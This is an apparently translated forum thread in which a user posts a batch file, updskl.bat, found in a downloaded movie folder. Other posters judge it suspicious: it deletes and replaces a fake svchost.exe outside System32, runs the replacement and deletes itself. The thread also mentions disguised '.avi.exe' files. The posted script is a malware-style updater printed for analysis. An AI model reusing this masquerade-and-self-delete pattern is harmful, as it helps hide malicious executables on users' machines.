The movie folder contains a batch file updskl.bat with the following content:
@echo off
:loop
del "C:\Program Files\Common Files\System\svchost.exe"
del "C:\Program Files\Common Files\System\ver.txt"
del "C:\Program Files\Common Files\System\she.dll"
if exist "C:\Program Files\Common Files\System\svchost.exe" goto loop
C:
cd C:\Program Files\Common Files\System\
ren svchostnew.exe svchost.exe
call "C:\Program Files\Common Files\System\svchost.exe"
del "C:\Program Files\Common Files\System\updskl.bat"

The first step is to forcibly delete the original svchost.exe, the second step is to rename svchostnew.exe to svchost.exe and then execute it. It seems that it wants to update the svchost.exe in the System folder of the computer. I don't understand the intention? Is it dangerous? Please help analyze, thank you all!

Is there any problem?

Maybe it's simulating the svchost process.

I don't know what the relationship is with the downloaded movie files, and I also don't understand the svchost process. Will it affect the stability of my system? Please help analyze it for me upstairs, thank you.

The SVCHOST of the system is under SYSTEM32, and the one there is not a normal system file.

It's a bit dangerous, not recommended to run, feels like it~~ After all, there's no relation between the movie and svchost.

I'm afraid it's automatically running. If it doesn't run automatically, there's nothing to be afraid of.

I think your movie file might be fake! The icon is [icon], but the suffix at the end of the file is not!
Note, it's the end,
There will be such files:
001.avi(N many spaces).exe
The icon is fake

What the person above said is very likely. It is suggested that the original poster still take a look~

There must be something wrong with this batch processing. The path of svchost.exe is incorrect.

Thank you everyone for your help! The downloaded movie file is real (.rm format) and can play normally. I didn't pay any more attention to this batch file. But I don't know if it secretly runs during movie playback.

svchost.exe is very important
The building owner should be more careful
